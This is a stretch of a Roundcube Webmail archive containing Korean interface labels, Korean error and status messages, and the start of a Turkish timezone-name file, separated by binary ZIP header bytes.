$labels['mailvelopeoptions'] = 'Mailvelope 옵션';
$labels['mailvelopemainkeyring'] = 'Mailvelope 기본 키링 사용';
$labels['mailvelopenotfound'] = 'Mailvelope 확장기능이 브라우저에(서) 활성화/설치되지 않았습니다.';
$labels['sortby'] = '정렬 ';
$labels['sortasc'] = '오름차순으로 정렬';
$labels['sortdesc'] = '내림차순으로 정렬';
$labels['undo'] = '실행 취소';
$labels['installedplugins'] = '설치된 플러그인';
$labels['plugin'] = '플러그인';
$labels['version'] = '버전';
$labels['source'] = '원본';
$labels['destination'] = '대상';
$labels['license'] = '라이선스';
$labels['support'] = '지원 요청';
$labels['savedsearches'] = '저장된 검색';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = '유니코드';
$labels['english'] = '영어';
$labels['westerneuropean'] = '서유럽어';
$labels['easterneuropean'] = '동유럽어';
$labels['southeasterneuropean'] = '남동유럽어';
$labels['baltic'] = '발트어';
$labels['cyrillic'] = '키릴어';
$labels['arabic'] = '아랍어';
$labels['greek'] = '그리스어';
$labels['hebrew'] = '히브리어';
$labels['turkish'] = '터키어';
$labels['nordic'] = '북유럽어';
$labels['thai'] = '태국어';
$labels['celtic'] = '켈트어';
$labels['vietnamese'] = '베트남어';
$labels['japanese'] = '일본어';
$labels['korean'] = '한국어';
$labels['chinese'] = '중국어';
$labels['arialabeltopnav'] = '창 제어';
$labels['arialabeltasknav'] = '앱 작업';
$labels['arialabeltoolbar'] = '앱 도구 표시줄';
$labels['arialabellistnav'] = '목록 탐색';
$labels['arialabelactivetask'] = '활성화된 작업';
$labels['arialabelmessagessearchfilter'] = '이메일 목록 필터';
$labels['arialabelmailsearchform'] = '이메일 메시지 검색 양식';
$labels['arialabelcontactsearchform'] = '연락처 검색 양식';
$labels['arialabelmailquicksearchbox'] = '이메일 검색 입력';
$labels['arialabelquicksearchbox'] = '검색 입력';
$labels['arialabelfoldersearchfilter'] = '폴더 목록 표시 필터';
$labels['arialabelfoldersearchform'] = '폴터 검색 양식';
$labels['arialabelfolderlist'] = '이메일 폴더 선택';
$labels['arialabelmessagelist'] = '이메일 메시지 목록';
$labels['arialabelmailpreviewframe'] = '메시지 미리보기';
$labels['arialabelmailboxmenu'] = '폴더 동작 메뉴';
$labels['arialabellistselectmenu'] = '목록 선택 메뉴';
$labels['arialabelthreadselectmenu'] = '대화 목록 메뉴';
$labels['arialabelmessagelistoptions'] = '메시지 목록 표시 및 정렬 옵션';
$labels['arialabelmailimportdialog'] = '메시지 가져오기 대화';
$labels['arialabelmessagenav'] = '메시지 탐색';
$labels['arialabelmessagebody'] = '메시지 본문';
$labels['arialabelmessageactions'] = '메시지 동작';
$labels['arialabelcontactquicksearch'] = '연락처 검색 양식';
$labels['arialabelcontactsearchbox'] = '연락처 검색 입력';
$labels['arialabelmessageheaders'] = '메시지 헤더';
$labels['arialabelforwardingoptions'] = '전달 옵션';
$labels['arialabelreplyalloptions'] = '전체 회신 옵션';
$labels['arialabelmoremessageactions'] = '더 많은 메시지 동작';
$labels['arialabelmorecontactactions'] = '더 많은 연락처 동작';
$labels['arialabelmarkmessagesas'] = '선택한 메시지를 다음으로 표시..';
$labels['arialabelcomposeoptions'] = '작성 옵션';
$labels['arialabelresponsesmenu'] = '저장된 응답 메뉴';
$labels['arialabelattachmentuploadform'] = '첨부파일 업로드 양식';
$labels['arialabelattachmentmenu'] = '첨부파일 옵션';
$labels['arialabelmailtomenu'] = '이메일 주소 옵션';
$labels['arialabelattachmentpreview'] = '첨부파일 미리보기';
$labels['ariasummarycomposecontacts'] = '받는 사람으로 선택할 연락처 및 그룹 목록';
$labels['arialabelcontactexportoptions'] = '연락처 내보내기 옵션';
$labels['arialabelabookgroupoptions'] = '주소록/그룹 옵션';
$labels['arialabelpreferencesform'] = '환경 설정 양식';
$labels['arialabelidentityeditfrom'] = '신원 편집 양식';
$labels['arialabelresponseeditfrom'] = '응답 편집 양식';
$labels['arialabelsearchterms'] = '용어 검색';
$labels['arialabeldropactionmenu'] = '끌어서 놓기 동작 메뉴';
$labels['arialabelheadersmenu'] = '받는 사람 (헤더) 추가 메뉴';
$labels['arialabelimagetools'] = '이미지 도구';
$labels['helplistnavigation'] = '키보드 탐색 목록 표시';
$labels['helplistkeyboardnavigation'] = "상/하 화살표: 행 포커스/선택 이동
Space: 포커스된 행 선택
Shift + 상/하 화살표: 위/아래 행을 추가적으로 선택
Ctrl + Space: 포커스된 행을 선택/제거 대상 선택에서 추가";
$labels['helplistkeyboardnavmessages'] = "상/하 화살표: 메시지 대화 펼치기/접기(오직 대화 모드에서)
Enter: 선택한/포커스된 메시지 열기
Delete: 선택한 메시지를 지운 편지함으로 이동";
$labels['helplistkeyboardnavcontacts'] = "Enter: 선택한/포커스된 연락처 열기";
PK
h�\<ք<�O�O'program/localization/ko_KR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = '오류가 발생했습니다!';
$messages['loginfailed']  = '로그인이 실패했습니다.';
$messages['cookiesdisabled'] = '브라우저가 쿠키를 허용하지 않습니다.';
$messages['sessionerror'] = '세션이 유효하지 않거나 만료되었습니다.';
$messages['cookiesmismatch'] = '쿠키 불일치를 감지했습니다. 브라우저 쿠키를 지워주세요.';
$messages['storageerror'] = '저장소 서버에 연결을 실패했습니다.';
$messages['servererror'] = '서버 오류!';
$messages['servererrormsg'] = '서버 오류: $msg';
$messages['accountlocked'] = '로그인 시도 횟수를 초과함. 나중에 다시 시도하세요.';
$messages['connerror'] = '연결 오류 (서버 접속 실패)!';
$messages['dberror'] = '데이터베이스 오류!';
$messages['dbconnerror'] = '데이터베이스에 연결할 수 없습니다.';
$messages['windowopenerror'] = '팝업 창이 차단되었습니다!';
$messages['requesttimedout'] = '요청 시간 초과';
$messages['errorreadonly'] = '작업을 수행할 수 없습니다. 읽기 전용 폴더입니다.';
$messages['errornoperm'] = '작업을 수행할 수 없습니다. 권한이 거부되었습니다.';
$messages['erroroverquota'] = '작업을 수행할 수 없습니다. 여유 디스크 공간이 없습니다.';
$messages['erroroverquotadelete'] = '여유 디스크 공간이 없습니다. SHIF+DEL로 메시지를 삭제하세요.';
$messages['invalidrequest'] = '잘못된 요청! 데이터가 저장되지 않았습니다.';
$messages['invalidhost'] = '잘못된 서버 이름입니다.';
$messages['nomessagesfound'] = '이 편지함에서 메시지를 발견하지 못했습니다.';
$messages['loggedout'] = '세션을 성공적으로 종료했습니다. 안녕히 가세요!';
$messages['mailboxempty'] = '편지함이 비어있음';
$messages['nomessages'] = '메시지 없음';
$messages['refreshing'] = '새로고침 중...';
$messages['loading'] = '로딩 중...';
$messages['uploading'] = '파일 업로드 중...';
$messages['attaching'] = '파일 첨부 중...';
$messages['uploadingmany'] = '파일 업로드 중...';
$messages['loadingdata'] = '데이터 로딩 중...';
$messages['checkingmail'] = '새 메시지 확인 중...';
$messages['sendingmessage'] = '메시지 발송 중...';
$messages['messagesent'] = '메시지를 성공적으로 보냈습니다.';
$messages['savingmessage'] = '메시지 저장 중...';
$messages['messagesaved'] = '메시지가 임시 보관함에 저장되었습니다.';
$messages['successfullysaved'] = '성공적으로 저장함.';
$messages['savingresponse'] = '응답 문구 저장 중...';
$messages['deleteresponseconfirm'] = '정말로 이 응답 문구를 삭제하시겠습니까?';
$messages['nocontactselected'] = '아직 연락처를 선택하지 않으셨습니다.';
$messages['addedsuccessfully'] = '연락처가 주소록에 성공적으로 추가되었습니다.';
$messages['contactexists'] = '동일한 이메일 주소의 연락처가 이미 존재합니다.';
$messages['contactnameexists'] = '연락처에 동일한 이름이 이미 존재합니다.';
$messages['blockedimages'] = '개인 정보 보호를 위해, 이 메시지의 외부 이미지를 차단했습니다.';
$messages['blockedresources'] = '개인정보 보호를 위해 외부 리소스를 차단했습니다.';
$messages['suspiciousemail'] = '이 메시지에 사기가 의심되는 수상한 이메일 주소가 포함되어 있습니다.';
$messages['bccemail'] = '전달된 메시지에 비밀 수신자(Bcc)가 포함되어 있습니다.';
$messages['bouncehint'] = '메시지를 수정 없이 보냅니다. 예: 본문, 헤더 및 수신자를 원본 그대로 사용.';
$messages['encryptedmessage'] = '이것은 암호화된 메시지며 표시할 수 없습니다. 죄송합니다!';
$messages['externalmessagedecryption'] = '이것은 암호화된 메시지이며 브라우저 확장 기능으로 해독할 수 있습니다.';
$messages['nopubkeyfor'] = '$email에 대한 올바른 공개 키를 찾지 못함';
$messages['nopubkeyforsender'] = '발신자 신원에 대한 올바른 공개 키를 찾지 못했습니다. 받는 사람에 대한 메시지만 암호화하시겠습니까?';
$messages['encryptnoattachments'] = '이미 첨부파일을 업로드하여 암호화할 수 없음. 암호화 편집기에 다시 추가해주세요.';
$messages['searchpubkeyservers'] = '분실한 키에 대한 공개 키 서버를 검색하시겠습니까?';
$messages['encryptpubkeysfound'] = '다음 공개 키가 발견되었습니다:';
$messages['keyservererror'] = '키 서버로부터 키를 가져오지 못했습니다';
$messages['keyimportsuccess'] = '공개 키 $key 하나를 열쇠고리에 성공적으로 가져왔습니다.';
$messages['nocontactsfound'] = '연락처를 발견하지 못했습니다.';
$messages['contactnotfound'] = '요청한 연락처를 찾을 수 없습니다.';
$messages['contactsearchonly'] = '선택한 주소록에서 연락처를 보려면 검색 상자를 이용하세요.';
$messages['sendingfailed'] = '메시지 발송을 실패했습니다.';
$messages['senttooquickly'] = '이 메시지를 보내기 전에 $sec초 동안 기다려주세요.';
$messages['errorsavingsent'] = '보낸 메시지를 저장하는 도중 오류가 발생했습니다.';
$messages['errorsaving'] = '저장하는 동안 오류가 발생했습니다.';
$messages['errormoving'] = '메시지를 이동할 수 없었습니다.';
$messages['errorcopying'] = '메시지를 복사할 수 없었습니다.';
$messages['errordeleting'] = '메시지를 삭제할 수 없었습니다.';
$messages['errormarking'] = '메시지를 표시할 수 없었습니다.';
$messages['alerttitle'] = '주목';
$messages['confirmationtitle'] = '정말...';
$messages['deletecontactconfirm']  = '정말로 선택한 연락처를 삭제하시겠습니까?';
$messages['deletegroupconfirm']  = '정말로 선택한 그룹을 삭제하시겠습니까?';
$messages['deletemessagesconfirm'] = '정말로 선택한 메시지를 삭제하시겠습니까?';
$messages['deletefolderconfirm']  = '정말로 이 폴더를 삭제하시겠습니까?';
$messages['movefolderconfirm']  = '정말로 이 폴더를 이동하시겠습니까?';
$messages['purgefolderconfirm']  = '정말로 이 폴더의 모든 메시지를 삭제하시겠습니까?';
$messages['contactdeleting'] = '연락처 삭제 중...';
$messages['groupdeleting'] = '그룹 삭제 중...';
$messages['folderdeleting'] = '폴더 삭제 중...';
$messages['foldermoving'] = '폴더 이동 중...';
$messages['foldersubscribing'] = '폴더 구독 중...';
$messages['folderunsubscribing'] = '폴더 구독 취소 중...';
$messages['formincomplete'] = '양식이 완전히 작성되지 않았습니다.';
$messages['noemailwarning'] = '유효한 이메일 주소를 입력해주세요.';
$messages['nonamewarning']  = '이름을 입력해주세요.';
$messages['nopagesizewarning'] = '페이지 크기를 입력해주세요.';
$messages['nosenderwarning'] = '보내는 사람의 이메일 주소를 입력해주세요.';
$messages['recipientsadded'] = '받는 사람을 성공적으로 추가했습니다.';
$messages['norecipientwarning'] = '최소 하나의 수신자를 입력해주세요.';
$messages['disclosedrecipwarning'] = '모든 수신자가 서로의 이메일 주소를 볼 수 있습니다. 이것을 방지하고 개인 정보를 보호하려면 Bcc 필드를 사용할 수 있습니다.';
$messages['disclosedreciptitle'] = '너무 많은 공개 수신자';
$messages['nosubjectwarning']  = '"제목" 필드가 비어있습니다. 지금 입력하시겠습니까?';
$messages['nosubjecttitle']  = '제목 없음';
$messages['nobodywarning'] = '내용 없는 메시지를 보내시겠습니까?';
$messages['notsentwarning'] = '메시지가 발신되지 않았으며 저장되지 않은 변경사항이 있습니다. 변경사항을 폐기하시겠습니까?';
$messages['restoresavedcomposedata'] = '이전에 작성했지만 보내지 않은 메시지가 발견되었습니다.\n\nSubject: $subject\nSaved: $date\n\n이 메시지를 복구하시겠습니까?';
$messages['nosearchname'] = '연락처명이나 이메일 주소를 입력해주세요.';
$messages['notuploadedwarning'] = '아직 모든 첨부가 업로드되지 않았습니다. 기다리거나 업로드를 취소해주세요.';
$messages['searchsuccessful'] = '$nr개의 메시지를 찾았습니다.';
$messages['contactsearchsuccessful'] = '$nr개의 연락처를 찾았습니다.';
$messages['searchnomatch'] = '검색이 일치하는 항목을 발견하지 못했습니다.';
$messages['searching'] = '검색 중...';
$messages['checking'] = '확인 중...';
$messages['stillsearching'] = '아직 검색 중...';
$messages['nospellerrors'] = '맞춤법 오류가 발견되지 않았습니다.';
$messages['folderdeleted'] = '폴더가 성공적으로 삭제되었습니다.';
$messages['foldersubscribed'] = '폴더를 성공적으로 구독했습니다.';
$messages['folderunsubscribed'] = '폴더 구독을 성공적으로 취소했습니다.';
$messages['folderpurged'] = '폴더를 성공적으로 비웠습니다.';
$messages['folderexpunged'] = '폴더를 성공적으로 압축했습니다.';
$messages['deletedsuccessfully'] = '성공적으로 삭제되었습니다.';
$messages['converting'] = '서식 설정 삭제 중...';
$messages['messageopenerror'] = '서버에서 메시지를 불러올 수 없었습니다.';
$messages['filelinkerror'] = '파일 첨부를 실패함.';
$messages['fileuploaderror'] = '파일 업로드를 실패했습니다.';
$messages['csvfilemismatch'] = '다른 필드를 포함한 다중 CSV 파일 가져오기는 지원하지 않습니다.';
$messages['filesizeerror'] = '업로드한 파일이 최대 크기인 $size를 초과했습니다.';
$messages['filecounterror'] = '한 번에 최대 $count개의 파일을 업로드 할 수 있습니다.';
$messages['msgsizeerror'] = '파일 첨부에 실패했습니다. 메시지의 최대 크기($size)를 초과했습니다.';
$messages['msgsizeerrorfwd'] = '메시지 최대 크기 제한을 ($size) 넘었습니다. $num개 메시지를 첨부할 수 없습니다.';
$messages['copysuccess'] = '$nr개의 연락처를 성공적으로 복사함';
$messages['movesuccess'] = '$nr개의 연락처를 성공적으로 이동되었습니다.';
$messages['copyerror'] = '모든 연락처를 복사할 수 없었습니다.';
$messages['moveerror'] = '모든 연락처를 이동할 수 없었습니다.';
$messages['sourceisreadonly'] = '이 주소 소스는 읽기 전용입니다.';
$messages['errorsavingcontact'] = '연락처 주소를 저장할 수 없었습니다.';
$messages['movingmessage'] = '메시지 이동 중...';
$messages['copyingmessage'] = '메시지 복사 중...';
$messages['copyingcontact'] = '연락처 복사 중...';
$messages['movingcontact'] = '연락처 이동 중...';
$messages['deletingmessage'] = '메시지 삭제 중...';
$messages['markingmessage'] = '메시지 표시 중...';
$messages['addingmember'] = '연락처를 그룹에 추가 중...';
$messages['removingmember'] = '연락처를 그룹에서 삭제 중...';
$messages['receiptsent'] = '읽음 확인을 성공적으로 보냈습니다.';
$messages['errorsendingreceipt'] = '읽음 확인을 보낼 수 없었습니다.';
$messages['deleteidentityconfirm'] = '이 항목을 정말로 삭제하시겠습니까?';
$messages['nodeletelastidentity'] = '이 신원 밖에 남지 않아 삭제할 수 없습니다.';
$messages['forbiddencharacter'] = '폴더명에 금지된 문자가 포함되어 있습니다.';
$messages['selectimportfile'] = '업로드할 파일을 선택해주세요.';
$messages['addresswriterror'] = '선택한 주소록은 쓰기가 불가능합니다.';
$messages['contactaddedtogroup'] = '연락처가 이 그룹에 성공적으로 추가되었습니다.';
$messages['contactremovedfromgroup'] = '연락처가 이 그룹에서 성공적으로 제거되었습니다.';
$messages['nogroupassignmentschanged'] = '그룹 할당이 변경되지 않았습니다.';
$messages['importwait'] = '가져오는 중, 잠시만 기다려주세요...';
$messages['importformaterror'] = '가져오기를 실패했습니다! 업로드한 파일은 잘못된 가져오기 데이터 파일입니다.';
$messages['importconfirm'] = '<b>$inserted개의 연락처를 성공적으로 가져옴<b>';
$messages['importconfirmskipped'] = '<b>$skipped개의 기존 입력내용을  건너뜀</b>';
$messages['importmessagesuccess'] = '$nr개의 메시지를 성공적으로 가져옴';
$messages['importmessageerror'] = '가져오기를 실패했습니다! 업로드한 파일은 잘못된 메시지 또는 메일함 파일입니다.';
$messages['opnotpermitted'] = '작업이 허용되지 않습니다!';
$messages['nofromaddress'] = '선택한 신원의 이메일 주소가 누락되었습니다.';
$messages['editorwarning'] = '편집기 유형을 전환하면 텍스트 서식을 잃게 될 수도 있습니다. 계속하시겠습니까?';
$messages['httpreceivedencrypterror'] = '치명적인 구성 오류가 발생했습니다. 즉시 관리자에게 연락하세요.
<b>메시지를 보낼 수 없습니다.</b>';
$messages['smtpconnerror'] = 'SMTP 오류 ($code): 서버와의 연결을 실패했습니다.';
$messages['smtpautherror'] = 'SMTP 오류 ($code): 인증을 실패했습니다.';
$messages['smtpfromerror'] = 'SMTP 오류 ($code): 보내는사람 "$from" ($msg) (으)로 설정하는데 실패했습니다.';
$messages['smtptoerror'] = 'SMTP 오류 ($code): 수신자를 "$to" ($msg)에 추가하는데 실패했습니다.';
$messages['smtprecipientserror'] = 'SMTP 오류: 수신자 목록을 구문 분석할 수 없습니다.';
$messages['smtputf8error'] = 'SMTP 오류: 서버가 유니코드 이메일 주소를 지원하지 않습니다.';
$messages['smtpsizeerror'] = 'SMTP 오류: 메시지 크기가 서버 제한을 ($limit) 넘었습니다.';
$messages['smtperror'] = 'SMTP 오류: $msg';
$messages['emailformaterror'] = '유효하지 않은 이메일 주소: $email';
$messages['toomanyrecipients'] = '받는 사람이 너무 많음. 수신자 인원을 $max명으로 줄이세요.';
$messages['maxgroupmembersreached'] = '그룹 구성원이 최대 인원인 $max명을 초과합니다.';
$messages['internalerror'] = '내부 오류가 발생했습니다. 다시 시도해주세요.';
$messages['contactdelerror'] = '연락처를 삭제할 수 없었습니다.';
$messages['contactdeleted'] = '연락처가 성공적으로 삭제되었습니다.';
$messages['contactrestoreerror'] = '삭제된 연락처를 복구할 수 없었습니다.';
$messages['contactrestored'] = '연락처가 성공적으로 복구되었습니다.';
$messages['groupdeleted'] = '그룹이 성공적으로 삭제되었습니다.';
$messages['grouprenamed'] = '그룹명이 성공적으로 변경되었습니다.';
$messages['groupcreated'] = '그룹이 성공적으로 생성되었습니다.';
$messages['savedsearchdeleted'] = '저장된 검색이 성공적으로 삭제되었습니다.';
$messages['savedsearchdeleteerror'] = '저장된 검색을 삭제할 수 없었습니다.';
$messages['savedsearchcreated'] = '저장된 검색이 성공적으로 생성되었습니다.';
$messages['savedsearchcreateerror'] = '저장된 검색을 생성할 수 없었습니다.';
$messages['messagedeleted'] = '메시지가 성공적으로 삭제되었습니다.';
$messages['messagemoved'] = '메시지가 성공적으로 이동되었습니다.';
$messages['messagemovedtotrash'] = '메시지를 성공적으로 지운 편지함으로 이동했습니다.';
$messages['messagecopied'] = '메시지가 성공적으로 복사되었습니다.';
$messages['messagemarked'] = '메시지가 성공적으로 선택되었습니다.';
$messages['autocompletechars'] = '자동 완성을 위해 $min개 이상의 문자를 입력하세요.';
$messages['autocompletemore'] = '더 많은 일치하는 입력내용을 찾았습니다. 더 많은 문자를 입력해주세요.';
$messages['namecannotbeempty'] = '이름을 비워둘 수 없습니다.';
$messages['nametoolong'] = '이름이 너무 깁니다.';
$messages['namedotforbidden'] = '폴더명은 마침표로 시작할 수 없습니다.';
$messages['folderupdated'] = '폴더가 성공적으로 업데이트 되었습니다.';
$messages['foldercreated'] = '폴더를 성공적으로 생성함.';
$messages['invalidimageformat'] = '올바른 이미지 형식이 아닙니다.';
$messages['mispellingsfound'] = '메시지에서 맞춤법 오류가 감지되었습니다.';
$messages['parentnotwritable'] = '선택한 상위 폴더로 폴더를 생성/이동할 수 없습니다. 접근 권한이 없습니다.';
$messages['messagetoobig'] = '메시지 부분이 처리하기에는 너무 큽니다.';
$messages['attachmentvalidationerror'] = '이 첨부파일은 메시지에 선언된 유형과 일치하지 않아서 의심스럽습니다. 보낸 사람을 신뢰하지 않는다면, 악의적인 내용이 포함되었을 수 있으므로 브라우저에서 열지 말아야 합니다.<br/><br/><em>예상: $expected, 실제: $detected</em>';
$messages['noscriptwarning'] = '경고: 이 웹메일 서비스는 자바스크립트가 필요합니다! 이 기능을 사용하려면 브라우저 설정에서 자바스크립트를 활성화해주세요.';
$messages['messageissent'] = '메시지를 이미 보냈으나, 아직 저장되지 않았습니다. 지금 저장하시겠습니까?';
$messages['errnotfound'] = '파일을 찾을 수 없음';
$messages['errnotfoundexplain'] = '요청한 리소스를 찾을 수 없습니다!';
$messages['errfailedrequest'] = '실패한 요청';
$messages['errauthorizationfailed'] = '인증을 실패함';
$messages['errunauthorizedexplain'] = '이 서비스에 액세스 할 수있는 권한이 있는지 확인할 수 없었습니다!';
$messages['errrequestcheckfailed'] = '확인 요청을 실패함';
$messages['errcsrfprotectionexplain'] = "보안을 위해 이 리소스에 대한 접근은 CSRF로부터 보호되었습니다.\n 이것이 표시된다면 웹 어플리케이션에서 나가기 전에 로그아웃을 하지 않았을 것입니다.\n\n계속하려면 이제 사용자와의 상호작용이 필요합니다.";
$messages['errcontactserveradmin'] = '서버 관리자에게 문의해주세요.';
$messages['clicktoresumesession'] = '이전 세션을 다시 시작하려면 여기를 클릭하세요.';
$messages['errcomposesession'] = '쓰기 세션 오류';
$messages['errcomposesessionexplain'] = '요청한 쓰기 세션을 찾을 수 없습니다.';
$messages['clicktocompose'] = '새 메시지를 작성하려면 여기를 클릭하세요.';
$messages['nosupporterror'] = '이 기능은 사용자의 웹브라우저에서 지원되지 않습니다.';
$messages['siginserted'] = '서명을 성공적으로 삽입했습니다.';
$messages['responseinserted'] = '응답을 성공적으로 삽입했습니다.';
$messages['noresponsesavailable'] = '사용할 응답이 없음';
$messages['listempty'] = '목록이 비어있습니다.';
$messages['listusebutton'] = '새 문구를 만드려면 추가 버튼을 누르세요.';
$messages['keypaircreatesuccess'] = '$identy 신원에 대한 키 페어를 성공적으로 만들었습니다.';
$messages['emptyattachment'] = '첨부파일이 비어있는 것으로 보입니다.<br>이 이메일의 발송인과 확인해주십시오.';
$messages['oauthloginfailed'] = 'OAuth 로그인에 실패했습니다. 다시 시도해주십시오.';
PK
h�\V_W�N�N(program/localization/tr_TR/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abican';
$labels['tz:africa:accra'] = 'Akra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Cezayir';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kahire';
$labels['tz:africa:casablanca'] = 'Kazablanka';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Konakri';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Darüsselam';
$labels['tz:africa:djibouti'] = 'Cibuti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'Layun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Hartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinşasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadişu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'N\'Djamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nuakşot';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Arjantin';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahía de Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancún';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Şikago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Kosta Rika';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominika';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
